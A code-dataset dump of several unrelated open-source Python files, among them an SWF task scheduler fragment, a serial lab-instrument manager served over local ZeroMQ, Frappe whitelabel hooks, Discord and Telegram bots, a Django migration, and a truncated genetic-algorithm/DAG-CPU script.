task\n :param task_list: Specifies the name of the task list in which to schedule the activity task\n :param task_priority: Specifies the numeric priority of the task to pass to SWF (defaults to None).\n \"\"\"\n if input is not None:\n input = format.input(input)\n if control is not None:\n control = format.control(control)\n\n if task_priority is not None:\n # NB: here we call int() so we raise early if a wrong task priority\n # is passed to this function.\n task_priority = str(int(task_priority))\n\n self.update_attributes(\n {\n \"activityId\": activity_id,\n \"activityType\": {\n \"name\": activity_type.name,\n \"version\": activity_type.version,\n },\n \"control\": control,\n \"heartbeatTimeout\": heartbeat_timeout,\n \"input\": input,\n \"scheduleToCloseTimeout\": duration_timeout,\n \"scheduleToStartTimeout\": schedule_timeout,\n \"startToCloseTimeout\": task_timeout,\n \"taskList\": {\"name\": task_list},\n \"taskPriority\": task_priority,\n }\n )\n","repo_name":"botify-labs/simpleflow","sub_path":"simpleflow/swf/mapper/models/decision/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"99"} +{"seq_id":"13476351169","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 06 09:29:31 2013\n\n@author: Scheidt\n\"\"\"\n\nimport numpy as np\n\nimport os\nimport datetime as dt\nimport time\nimport threading\nimport winreg\nimport zmq\nimport serial\n\nimport smt_cal_demo.calibration.tokens.devices as c_dev\n\ncom_ports = dict()\ncom_ports[c_dev.fluke_5500E_01] = \"COM7\"\n\nknown_ports = dict()\nportmap = dict()\n\n\ndef scan_ports():\n \n print(\"Scanning ports for expected devices\")\n port = None\n\n # search fluke 5500\n try:\n port = com_ports[c_dev.fluke_5500E_01]\n except:\n port = None\n\n if not port is None: \n print((\"Searching for Fluke5500 on port {:s}\".format(port)))\n try: \n ser = serial.Serial(port,9600,\n parity=serial.PARITY_ODD,\n bytesize =serial.SEVENBITS,\n timeout = 0.5)\n ser.write(\"\\n*IDN?\\n\".encode(\"latin_1\"))\n answer = ser.readline()\n answer = answer.rstrip().decode(\"latin_1\")\n print(answer)\n if answer.find(\"FLUKE,5500\") != -1:\n # system could be identified\n print(\"Fluke5500 found\")\n portmap[c_dev.fluke_5500E_01] = dict(ser_if=ser,idn=answer.rstrip().split(\",\"))\n known_ports[port] = c_dev.fluke_5500E_01\n else:\n ser.close()\n print(\"Fluke5500 not found\")\n except Exception as exc:\n print((\"Port {:s} not available, Fluke5500 not found, Error:\".format(port)),exc)\n pass\n\n\nscan_ports()\nif c_dev.fluke_5500E_01 not in portmap:\n raise Exception(\"Fluke 5500 not on {:s}\".format(com_ports[c_dev.fluke_5500E_01]))\n\nstop = False\ntstart = dt.datetime.now()\n\ndef readln(ser, writelnFirst=\"\", simresult=\"\"):\n if writelnFirst != \"\":\n writeln(ser, writelnFirst)\n if hasattr(ser,\"eol\"):\n answer = bytes()\n end = False\n while not end:\n zw = ser.read()\n if zw == b\"\\r\" or zw ==b\"\":\n end = True\n answer += zw\n answer = answer.decode(\"latin-1\")\n else:\n answer = (ser.readline().rstrip()).decode(\"latin-1\")\n return answer\n\ndef readbinary(ser, byte_count=1, simresult=\"\"):\n answer = (ser.read(byte_count)).decode(\"latin-1\")\n return answer\n \ndef write(ser,data):\n ser.write(data.encode(\"latin-1\"))\n\ndef writeln(ser, data):\n if hasattr(ser,\"eol\"):\n ser.write(data.encode(\"latin-1\") + ser.eol)\n else:\n ser.write((data+\"\\n\").encode(\"latin-1\"))\n\n\n# the server understands json datapackage with following structure\n# target = device names as in tokens.devices\n# cmd = write, read, readln, readbinary\n# optional:\n# data = datas which should be send by cmd in advance\n# byte_count = number of bytes which should be read\n\ncontext = zmq.Context()\nstop = False\n\ndef worker_routine(worker_url, id_number):\n \"\"\"Worker routine\"\"\"\n global context\n global stop \n # Socket to talk to dispatcher\n socket = context.socket(zmq.REP)\n\n socket.connect(worker_url)\n\n while not stop:\n try:\n msg = socket.recv_json()\n except:\n stop = True\n \n if not stop:\n print((\"Worker {:f} working\".format(id_number)))\n try:\n if \"target\" in msg:\n ser_if = portmap[msg[\"target\"]][\"ser_if\"]\n print((\"Worker {:f} working on {:s} with command: {:s}\".format(id_number,msg[\"target\"],msg[\"cmd\"])))\n else:\n ser_if = None\n \n if msg[\"cmd\"] == \"write\":\n write(ser_if,msg[\"data\"])\n socket.send_json(dict(cmd = \"ok\"))\n elif msg[\"cmd\"] == \"writeln\":\n writeln(ser_if,msg[\"data\"])\n socket.send_json(dict(cmd = \"ok\"))\n elif msg[\"cmd\"] == \"readln\":\n answer = readln(ser_if,msg[\"data\"])\n socket.send_json(dict(cmd = \"ok\",data = answer))\n elif msg[\"cmd\"] == \"readbinary\":\n answer = readbinary(ser_if,msg[\"byte_count\"])\n socket.send_json(dict(cmd = \"ok\",data = answer))\n elif msg[\"cmd\"] == \"ping\":\n answer = dt.datetime.now().isoformat()\n socket.send_json(dict(cmd = \"ping\",data = answer))\n elif msg[\"cmd\"] == \"scan\":\n scan_ports()\n socket.send_json(dict(cmd = \"ok\",data = portmap))\n elif msg[\"cmd\"] == \"stop\":\n stop = True\n except Exception as exc:\n print(exc)\n socket.send_json(dict(cmd = \"error\", data = exc.args[0]))\n\n socket.close() \n\n\nurl_worker = \"inproc://workers\"\nurl_client = \"tcp://127.0.0.1:5001\"\n\n# Socket to talk to clients\nclients = context.socket(zmq.ROUTER)\nclients.bind(url_client)\n\n# Socket to talk to workers\nworkers = context.socket(zmq.DEALER)\nworkers.bind(url_worker)\n\n# Launch pool of worker threads\nfor i in range(5):\n thread = threading.Thread(target=worker_routine, args=(url_worker,i,))\n thread.start()\n\ndef zmq_service(): \n \"\"\"Server routine\"\"\"\n print(\"zmq_service started\")\n try:\n zmq.device(zmq.QUEUE, clients, workers)\n except:\n pass\n\n clients.close()\n workers.close()\n print(\"zmq_service ended\")\n\ndef stop_zmq_service():\n context.term()\n\ndef main():\n zmq_thread = threading.Thread(target=zmq_service)\n zmq_thread.start()\n print(\"Caution, runs in background until the process is terminated!\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mscheidt1968/smt_cal_demo","sub_path":"smt_cal_demo/calibration/devices/serial_devices_manager_v01.py","file_name":"serial_devices_manager_v01.py","file_ext":"py","file_size_in_byte":5704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"34221601573","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom . import __version__ as app_version\nfrom . import __logo__ as app_logo\n\n\napp_name = \"whitelabel\"\napp_title = \"Whitelabel\"\napp_publisher = \"Bhavesh Maheshwari\"\napp_description = \"ERPNext Whitelabel\"\napp_icon = \"octicon octicon-file-directory\"\napp_color = \"grey\"\napp_email = \"maheshwaribhavesh95863@gmail.com\"\napp_license = \"MIT\"\napp_logo_url = '/assets/whitelabel/images/whitelabel_logo.jpg'\n\n# Includes in \n# ------------------\n\n# include js, css files in header of desk.html\napp_include_css = \"/assets/whitelabel/css/whitelabel_app.css\"\napp_include_js = \"/assets/whitelabel/js/whitelabel.js\"\n\n# include js, css files in header of web template\nweb_include_css = \"/assets/whitelabel/css/whitelabel_web.css\"\n# web_include_js = \"/assets/whitelabel/js/whitelabel.js\"\n\n# include js in page\n# page_js = {\"page\" : \"public/js/file.js\"}\n\n# include js in doctype views\n# doctype_js = {\"doctype\" : \"public/js/doctype.js\"}\n# doctype_list_js = {\"doctype\" : \"public/js/doctype_list.js\"}\n# doctype_tree_js = {\"doctype\" : \"public/js/doctype_tree.js\"}\n# doctype_calendar_js = {\"doctype\" : \"public/js/doctype_calendar.js\"}\n\n# Home Pages\n# ----------\n\n# application home page (will override Website Settings)\n# home_page = \"login\"\n\n# website user home page (by Role)\n# role_home_page = {\n#\t\"Role\": \"home_page\"\n# }\n\n# Website user home page (by function)\n# get_website_user_home_page = \"whitelabel.utils.get_home_page\"\n\nwebsite_context = {\n\t\"favicon\": app_logo or \"/assets/whitelabel/images/whitelabel_logo.jpg\",\n\t\"splash_image\": app_logo or \"/assets/whitelabel/images/whitelabel_logo.jpg\"\n}\nafter_migrate = ['whitelabel.api.whitelabel_patch']\n\n# Generators\n# ----------\n\n# automatically create page for each record of this doctype\n# website_generators = [\"Web Page\"]\n\n# Installation\n# ------------\n\n# before_install = \"whitelabel.install.before_install\"\n# after_install = \"whitelabel.install.after_install\"\n\n# Desk Notifications\n# ------------------\n# See frappe.core.notifications.get_notification_config\n\n# notification_config = \"whitelabel.notifications.get_notification_config\"\n\n# Permissions\n# -----------\n# Permissions evaluated in scripted ways\n\n# permission_query_conditions = {\n# \t\"Event\": \"frappe.desk.doctype.event.event.get_permission_query_conditions\",\n# }\n#\n# has_permission = {\n# \t\"Event\": \"frappe.desk.doctype.event.event.has_permission\",\n# }\n\n# Document Events\n# ---------------\n# Hook on document methods and events\n\n# doc_events = {\n# \t\"*\": {\n# \t\t\"on_update\": \"method\",\n# \t\t\"on_cancel\": \"method\",\n# \t\t\"on_trash\": \"method\"\n#\t}\n# }\n\n# Scheduled Tasks\n# ---------------\n\n# scheduler_events = {\n# \t\"all\": [\n# \t\t\"whitelabel.tasks.all\"\n# \t],\n# \t\"daily\": [\n# \t\t\"whitelabel.tasks.daily\"\n# \t],\n# \t\"hourly\": [\n# \t\t\"whitelabel.tasks.hourly\"\n# \t],\n# \t\"weekly\": [\n# \t\t\"whitelabel.tasks.weekly\"\n# \t]\n# \t\"monthly\": [\n# \t\t\"whitelabel.tasks.monthly\"\n# \t]\n# }\n\nboot_session = \"whitelabel.api.boot_session\"\n# Testing\n# -------\n\n# before_tests = \"whitelabel.install.before_tests\"\n\n# Overriding Methods\n# ------------------------------\n#\n# override_whitelisted_methods = {\n# \t\"frappe.desk.doctype.event.event.get_events\": \"whitelabel.event.get_events\"\n# }\n#\n# each overriding function accepts a `data` argument;\n# generated from the base implementation of the doctype dashboard,\n# along with any modifications made in other Frappe apps\n# override_doctype_dashboards = {\n# \t\"Task\": \"whitelabel.task.get_dashboard_data\"\n# }\n\noverride_whitelisted_methods = {\n\t\"frappe.utils.change_log.show_update_popup\": \"whitelabel.api.ignore_update_popup\"\n}\n\n","repo_name":"bhavesh95863/whitelabel","sub_path":"whitelabel/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"99"} +{"seq_id":"43052156038","text":"import discord\nimport asyncio\nimport Squad\n\nopt_in_time = 10\nsquad_size_max = 4\nemoji = u\"\\u270B\"\nclient = discord.Client()\n\n\n@client.event\nasync def on_ready():\n print(\"Logged in as {}-{} \\n\".format(client.user.name, client.user.id))\n\n\n@client.event\nasync def on_message(message):\n if client.user not in message.mentions:\n return\n\n msg = await client.send_message(message.channel, matching_message(10), tts=True)\n\n\n try:\n await client.add_reaction(msg, emoji)\n except discord.NotFound:\n await warn(message.channel,\"emoji not found, misconfigured?\")\n return\n\n await asyncio.sleep(1)\n\n for i in range(0, opt_in_time):\n await client.edit_message(msg, new_content=matching_message(opt_in_time-i))\n await asyncio.sleep(1)\n\n cache_msg = discord.utils.get(client.messages, id=msg.id)\n\n players = []\n try:\n reaction = [reaction for reaction in cache_msg.reactions if reaction.emoji == emoji][0]\n players = await client.get_reaction_users(reaction)\n except KeyError:\n await warn(\"The reactions were somehow deleted, cancelling match...\")\n return\n\n players = [player.name for player in players]\n\n if client.user.name in players:\n players.remove(client.user.name)\n\n await client.edit_message(msg, new_content=Squad.SquadList(players, squad_size_max).toString())\n\n\nasync def warn(channel, warning_message):\n await client.send_message(channel, warning_message)\n\ndef matching_message(time):\n return \"Squad up! React to opt in in {} seconds!\".format(time)\n\ntry:\n with open(\"token.txt\", \"r\") as token_file:\n client.run(token_file.readline().strip().strip(\"\\n\"))\n token_file.close()\nexcept IOError:\n print(\"no token file - ensure that a token.txt exists in the directory.\")\n\n\n\n\n","repo_name":"cortstar/Squadmatcher","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"36835872739","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport django.core.validators\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Usuario',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('password', models.CharField(verbose_name='password', max_length=128)),\n ('last_login', models.DateTimeField(verbose_name='last login', null=True, blank=True)),\n ('tipo', models.CharField(max_length=1, choices=[('1', 'Administrador'), ('2', 'Secretaria'), ('3', 'Master Teacher'), ('4', 'Leader Teacher')])),\n ('is_active', models.BooleanField(default=True)),\n ('is_admin', models.BooleanField(default=False)),\n ],\n options={\n 'verbose_name': 'Usuario',\n 'verbose_name_plural': 'Usuarios',\n },\n ),\n migrations.CreateModel(\n name='Actividad',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('nombre', models.CharField(max_length=50)),\n ('descripcion', models.CharField(max_length=1000)),\n ('porcentaje', models.FloatField()),\n ],\n options={\n 'verbose_name': 'Actividad',\n 'verbose_name_plural': 'Actividades',\n },\n ),\n migrations.CreateModel(\n name='Certificado',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('tipo', models.CharField(max_length=1, choices=[('A', 'Asistencia'), ('P', 'Participación'), ('E', 'Excelencia')])),\n ],\n options={\n 'verbose_name': 'Certificado',\n 'verbose_name_plural': 'Certificados',\n },\n ),\n migrations.CreateModel(\n name='Cohorte',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('semestre', models.CharField(max_length=50)),\n ],\n ),\n migrations.CreateModel(\n name='Curso',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('nombre', models.CharField(max_length=50)),\n ('descripcion', models.TextField()),\n ('slug', models.SlugField(unique=True, max_length=200)),\n ],\n options={\n 'verbose_name': 'Curso',\n 'verbose_name_plural': 'Cursos',\n },\n ),\n migrations.CreateModel(\n name='Historial_Academico',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('promocion', models.CharField(max_length=15)),\n ('titulo', models.CharField(max_length=50)),\n ('institucion', models.CharField(max_length=50)),\n ],\n options={\n 'verbose_name': 'Historial Académico',\n 'verbose_name_plural': 'Historiales Académicos',\n },\n ),\n migrations.CreateModel(\n name='Historial_Laboral',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('fecha_inicio', models.DateField()),\n ('fecha_fin', models.DateField()),\n ('institucion', models.CharField(max_length=50)),\n ],\n options={\n 'verbose_name': 'Historial Laboral',\n 'verbose_name_plural': 'Historiales Laborales',\n },\n ),\n migrations.CreateModel(\n name='LT_Curso',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('id_curso_cohorte', models.ForeignKey(verbose_name='Curso - Cohorte', to='app.Cohorte')),\n ('id_lt', models.ForeignKey(verbose_name='Cédula del docente', to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'Curso-LT',\n 'verbose_name_plural': 'Cursos-LT',\n },\n ),\n migrations.CreateModel(\n name='MT_Curso',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('id_curso_cohorte', models.ForeignKey(verbose_name='Curso - Cohorte', to='app.Cohorte')),\n ('id_mt', models.ForeignKey(verbose_name='Cédula del docente', to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'Curso-MT',\n 'verbose_name_plural': 'Cursos-MT',\n },\n ),\n migrations.CreateModel(\n name='Nota',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('calificacion', models.FloatField(validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(5)])),\n ('id_actividad', models.ForeignKey(verbose_name='Actividad', to='app.Actividad')),\n ('id_lt_curso', models.ForeignKey(verbose_name='LT-Curso', to='app.LT_Curso')),\n ],\n options={\n 'verbose_name': 'Nota',\n 'verbose_name_plural': 'Notas',\n },\n ),\n migrations.CreateModel(\n name='Persona',\n fields=[\n ('cedula', models.IntegerField(primary_key=True, serialize=False)),\n ('nombre', models.CharField(max_length=200)),\n ('apellidos', models.CharField(max_length=200)),\n ('correo', models.CharField(max_length=200, unique=True)),\n ('celular', models.CharField(null=True, max_length=200)),\n ('direccion', models.CharField(null=True, max_length=200)),\n ('fecha_nacimiento', models.DateField()),\n ('sexo', models.CharField(max_length=1, choices=[('M', 'Masculino'), ('F', 'Femenino')])),\n ('departamento', models.CharField(max_length=3, choices=[('A', 'Amazonas'), ('Caq', 'Caquetá'), ('Ca', 'Cauca'), ('H', 'Huila'), ('N', 'Nariño'), ('P', 'Putumayo'), ('T', 'Tolima'), ('VC', 'Valle del Cauca')])),\n ('ciudad', models.CharField(max_length=15)),\n ],\n options={\n 'verbose_name': 'Persona',\n 'verbose_name_plural': 'Personas',\n },\n ),\n migrations.CreateModel(\n name='Posible_LT',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('id_curso', models.ForeignKey(verbose_name='Curso', to='app.Curso')),\n ('id_docente', models.ForeignKey(verbose_name='Cédula del docente', to='app.Persona')),\n ],\n options={\n 'verbose_name': 'Posible LT',\n 'verbose_name_plural': 'Posibles LT',\n },\n ),\n migrations.AddField(\n model_name='historial_laboral',\n name='id_docente',\n field=models.ForeignKey(verbose_name='Cédula del docente', to='app.Persona'),\n ),\n migrations.AddField(\n model_name='historial_academico',\n name='id_docente',\n field=models.ForeignKey(verbose_name='Cédula del docente', to='app.Persona'),\n ),\n migrations.AddField(\n model_name='cohorte',\n name='id_curso',\n field=models.ForeignKey(verbose_name='Curso', to='app.Curso'),\n ),\n migrations.AddField(\n model_name='certificado',\n name='id_lt_curso',\n field=models.OneToOneField(to='app.LT_Curso', verbose_name='LT-Curso'),\n ),\n migrations.AddField(\n model_name='actividad',\n name='id_curso',\n field=models.ForeignKey(verbose_name='Curso', to='app.Curso'),\n ),\n migrations.AddField(\n model_name='usuario',\n name='id_persona',\n field=models.OneToOneField(to='app.Persona', verbose_name='Cédula de la persona'),\n ),\n ]\n","repo_name":"overjt/ciersur","sub_path":"app/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":8801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"495772349","text":"from pyrogram import filters, Client\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, CallbackQuery\nfrom DonLee_Robot import Translation, LOGGER # pylint: disable=import-error\nfrom DonLee_Robot.Database import Database # pylint: disable=import-error\nfrom DonLee_Robot.donlee_robot import DonLee_Robot\n\ndb = Database()\n\n@DonLee_Robot.on_message(filters.command([\"start\"]) & filters.private, group=1)\nasync def start(bot, update):\n \n try:\n file_uid = update.command[1]\n except IndexError:\n file_uid = False\n \n if file_uid:\n file_id, file_name, file_caption, file_type = await db.get_file(file_uid)\n \n if (file_id or file_type) == None:\n return\n \n caption = file_caption if file_caption != (\"\" or None) else (\"\" + file_name + \"\")\n try:\n await update.reply_cached_media(\n file_id,\n quote=True,\n caption = caption,\n parse_mode=\"html\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton\n (\n 'Developers', url=\"https://instagram.com/jinu__777?utm_medium=copy_link\"\n )\n ]\n ]\n )\n )\n except Exception as e:\n await update.reply_text(f\"Error:\\n{e}\", True, parse_mode=\"html\")\n LOGGER(__name__).error(e)\n return\n\n buttons = [[\n InlineKeyboardButton('My Dev 🧒', url='https://t.me/jinusir_111'),\n InlineKeyboardButton('Source Code 🧾', url ='https://github.com/jinusir1/telegram_bot')\n ],[\n InlineKeyboardButton('🛠 Support 🛠', url='https://t.me/jinusir_111')\n ],[\n InlineKeyboardButton('⚙ Help ⚙', callback_data=\"help\")\n ],[\n InlineKeyboardButton('💫 insta id 💫', url='https://instagram.com/jinu__777?utm_medium=copy_link')\n ]]\n \n reply_markup = InlineKeyboardMarkup(buttons)\n \n await bot.send_message(\n chat_id=update.chat.id,\n text=Translation.START_TEXT.format(\n update.from_user.first_name),\n reply_markup=reply_markup,\n parse_mode=\"html\",\n reply_to_message_id=update.message_id\n )\n\n\n@DonLee_Robot.on_message(filters.command([\"help\"]) & filters.private, group=1)\nasync def help(bot, update):\n buttons = [[\n InlineKeyboardButton('Home ⚡', callback_data='start'),\n InlineKeyboardButton('About 🚩', callback_data='about')\n ],[\n InlineKeyboardButton('Close 🔐', callback_data='close')\n ]]\n \n reply_markup = InlineKeyboardMarkup(buttons)\n \n await bot.send_message(\n chat_id=update.chat.id,\n text=Translation.HELP_TEXT,\n reply_markup=reply_markup,\n parse_mode=\"html\",\n reply_to_message_id=update.message_id\n )\n\n\n@DonLee_Robot.on_message(filters.command([\"about\"]) & filters.private, group=1)\nasync def about(bot, update):\n \n buttons = [[\n InlineKeyboardButton('Home ⚡', callback_data='start'),\n InlineKeyboardButton('Close 🔐', callback_data='close')\n ]]\n reply_markup = InlineKeyboardMarkup(buttons)\n \n await bot.send_message(\n chat_id=update.chat.id,\n text=Translation.ABOUT_TEXT,\n reply_markup=reply_markup,\n disable_web_page_preview=True,\n parse_mode=\"html\",\n reply_to_message_id=update.message_id\n )\n","repo_name":"jinusir1/telegram_bot","sub_path":"DonLee_Robot/Plugins/Commands.py","file_name":"Commands.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"21540745278","text":"#\n# genetic algorithm to find a program that adds 2 numbers\n#\n# we'll set the input stream to the 2 nums, expect output stream to have sum\n#\n# fitness func will be to run the code against 5+ inputs, #right answers = fitness val\n\nimport os\nimport time\nimport random\nfrom copy import deepcopy\n\nimport click\n\nfrom PyGenAlg import GenAlg, PsoAlg, BaseChromo, GenAlgOps, IoOps\n\nimport math\nfrom cpuDAG import CPU\n\n# # # # # # # # # # # # # # # # # # # #\n## # # # # # # # # # # # # # # # # # #\n# # # # # # # # # # # # # # # # # # # #\n\n# domain-specific data (for the problem at hand)\n\n# target values we're aiming for:\ninputs = []\nfor i in range(100):\n\tfor j in range(100):\n\t\tif( (i+j) < 255 ):\n\t\t\tinputs.append( [i,j,1] )\ndata_size = len(inputs)\n\ndef my_func( xyz ):\n\treturn 2*xyz[0] - 3*xyz[1] + 1\n\ninput_size = 3\nnum_levels = 3\nnodes_per_level = 3\n\ndef mean(someList):\n total = 0\n for a in someList:\n total += float(a)\n mean = total/len(someList)\n return mean\ndef standDev(someList):\n listMean = mean(someList)\n dev = 0.0\n for i in range(len(someList)):\n dev += (someList[i]-listMean)**2\n dev = dev**(1/2.0)\n return dev\ndef corrCoef(someList1, someList2):\n # First establish the means and standard deviations for both lists.\n xMean = mean(someList1)\n yMean = mean(someList2)\n xStandDev = standDev(someList1)\n yStandDev = standDev(someList2)\n # r numerator\n rNum = 0.0\n for i in range(len(someList1)):\n rNum += (someList1[i]-xMean)*(someList2[i]-yMean)\n\n # r denominator\n rDen = xStandDev * yStandDev\n\n r = rNum/rDen\n return r\n\nclass MyChromo(BaseChromo):\n\tdef __init__( self ):\n\t\tself.cpu = CPU( num_levels=num_levels, nodes_per_level=nodes_per_level, input_size=input_size )\n\t\tself.total_instrs = len(self.cpu.OPSinstrs)\n\n\t\t# ranges for each chromo ..\n\t\trlist = []\n\t\tfor ll in range(num_levels):\n\t\t\tlvl_start = ll*nodes_per_level + input_size\n\t\t\tfor nn in range(nodes_per_level):\n\t\t\t\trlist.append( (0,self.total_instrs-1) ) # function-identifier\n\t\t\t\trlist.append( (0,lvl_start-1) ) # op1=node-num less than level-start\n\t\t\t\trlist.append( (0,lvl_start-1) ) # op2=node-num less than level-start\n\t\t# output node\n\t\tlvl_start = num_levels*nodes_per_level + input_size\n\t\trlist.append( (0,self.total_instrs-1) ) # function-identifier\n\t\trlist.append( (0,lvl_start-1) ) # op1=node-num less than level-start\n\t\trlist.append( (0,lvl_start-1) ) # op2=node-num less than level-start\n\n\t\tBaseChromo.__init__( self, size=3*num_levels*nodes_per_level+3,\n\t\t\trange=rlist, dtype=int )\n\n\t# calculate the fitness function\n\tdef calcFitness( self ):\n\t\t# load the chromos as instruction-memory\n\t\tcpu = self.cpu\n\n\t\t# the chromo-values ARE the program\n\t\terr = cpu.load_imem( self.data )\n\t\tif( err < 0 ):\n\t\t\tprint( 'error in cpu.load_imem' )\n\n\t\tfitness = 0\n\n\t\t# now run the test on the input data\n\t\tcalc_vals = []\n\t\tact_vals = []\n\t\tfor ij in inputs:\n\t\t\tcpu.reset()\n\t\t\tcpu.load_inputs( ij )\n\t\t\tcpu.run()\n\t\t\t\n\t\t\ttry:\n\t\t\t\tout = cpu.nodevals[-1]\n\t\t\texcept Exception as e:\n\t\t\t\t# probably IndexError .. no data?\n\t\t\t\tout = 0\n\t\t\tcalc_vals.append( out )\n\t\t\tact_vals.append( my_func(ij) )\n\n\t\t# print( 'found vals', len(calc_vals), len(act_vals) )\n\t\t# print( ' ', calc_vals[0:5] )\n\t\t# print( ' ', act_vals[0:5] )\n\n\t\ttry:\n\t\t\t#cor = corrCoef( calc_vals, act_vals )\n\t\t\t# print( 'corrCoef', cor )\n\t\t\t#fitness = fitness + 100*len(inputs)*abs(cor-1)\n\n\t\t\tfor i in range(len(calc_vals)):\n\t\t\t\tdiff = calc_vals[i] - act_vals[i]\n\t\t\t\tfitness = fitness + (diff*diff)\n\n\t\texcept Exception as e:\n\t\t\t# print( 'corrCoef error: '+str(e) )\n\t\t\t# print( ' ',len(calc_vals),len(act_vals) )\n\t\t\tfitness = fitness + 1000*len(inputs)\n\n\t\treturn fitness\n\n\n# # # # # # # # # # # # # # # # # # # #\n## # # # # # # # # # # # # # # # # # #\n# # # # # # # # # # # # # # # # # # # #\n\n\n@click.group()\n@click.option( '-L','--numlevels','numlevels',default=1,show_default=True,help='number of levels' )\n@click.option( '-N','--nodesper','nodesperlevel',default=10,show_default=True,help='nodes per level' )\n@click.option( '-E','--elitism','elitism',type=float,default=0.05,show_default=True,help='elitism (pct or num)' )\n@click.option( '-C','--crossover','crossover',type=float,default=0.45,show_default=True,help='crossover (pct or num)' )\n@click.option( '-M','--puremutation','puremutation',type=float,default=0.50,show_default=True,help='pure-mutation (pct or num)' )\n@click.option( '-s','--size','popsize',default=20,show_default=True,help='population size' )\n@click.option( '-i','--inners','inner_it',default=10,show_default=True,help='inner iterations' )\n@click.option( '-e','--epochs','epoch_it',default=10,show_default=True,help='epoch iterations' )\n@click.option( '-m','--mutatenum','mutatenum',default=3,show_default=True,help='mutate-num' )\n@click.option( '-W','save_out',is_flag=True,help='write/save output to file' )\n@click.option( '-R','load_in',is_flag=True,help='read/load input from file' )\n@click.option( '-v','--verbose','verbose',count=True,help='verbose level' )\n@click.option( '-V','--veryverbose','veryverbose',count=True,help='verbose level +10' )\n@click.pass_context\ndef cli( ctx, numlevels, nodesperlevel, elitism,crossover,puremutation, popsize, inner_it, epoch_it, mutatenum, save_out, load_in, verbose, veryverbose ):\n\tctx.ensure_object(dict)\n\n\tglobal num_levels, nodes_per_level\n\tnum_levels = numlevels\n\tnodes_per_level = nodesperlevel\n\n\tctx.obj['elitism'] = elitism\n\tctx.obj['crossover'] = crossover\n\tctx.obj['puremutation'] = puremutation\n\tctx.obj['popsize'] = popsize\n\tctx.obj['inner_it'] = inner_it\n\tctx.obj['epoch_it'] = epoch_it\n\tctx.obj['mutatenum'] = mutatenum\n\tctx.obj['load_in'] = load_in\n\tctx.obj['save_out'] = save_out\n\tctx.obj['verbose'] = verbose + 10*veryverbose\n\n\n@cli.command()\n@click.pass_context\ndef run( ctx ):\n\tctxobj = ctx.obj\n\tverbose = ctxobj.get('verbose')\n\tepoch_it = ctxobj.get('epoch_it')\n\tinner_it = ctxobj.get('inner_it')\n\n\t# ga = GenAlg( size= ctxobj.get('popsize'),\n\t# \telitism = ctxobj.get('elitism'),\n\t# \tcrossover = ctxobj.get('crossover'),\n\t# \tpureMutation = ctxobj.get('puremutation'),\n\t# \tchromoClass = MyChromo,\n\t# \t#selectionFcn = GenAlgOps.tournamentSelection,\n\t# \tcrossoverFcn = GenAlgOps.crossover12,\n\t# \tmutationFcn = GenAlgOps.mutateNone,\n\t# \t# for pure-mutation of all chromos .. no need to run tournament selection\n\t# \t#pureMutationSelectionFcn = lambda x: [0,0],\n\t# \t#pureMutationFcn = GenAlgOps.mutateAll,\n\t# \tpureMutationSelectionFcn = GenAlgOps.simpleSelection,\n\t# \tpureMutationFcn = GenAlgOps.mutateAll,\n\t# \t#feasibleSolnFcn = GenAlgOps.disallowDupes,\n\t# \tminOrMax = 'min',\n\t# \tshowBest = 0,\n\t# \t# optional params ..\n\t# \tparams = {\n\t# \t\t'mutateNum': ctxobj.get('mutatenum'),\n\t# \t\t'parentPct': 0.50,\n\t# \t}\n\t# )\n\tga = PsoAlg( size= ctxobj.get('popsize'),\n\t\tomega = 0.75,\n\t\tphi_p = 1.50,\n\t\tphi_g = 1.00,\n\t\tlearning_rate = 1.0,\n\t\tchromoClass = MyChromo,\n\t\tminOrMax = 'min',\n\t\tshowBest = 0,\n\t\t# optional params ..\n\t\tparams = {\n\t\t\t'mutateNum': ctxobj.get('mutatenum'),\n\t\t\t'parentPct': 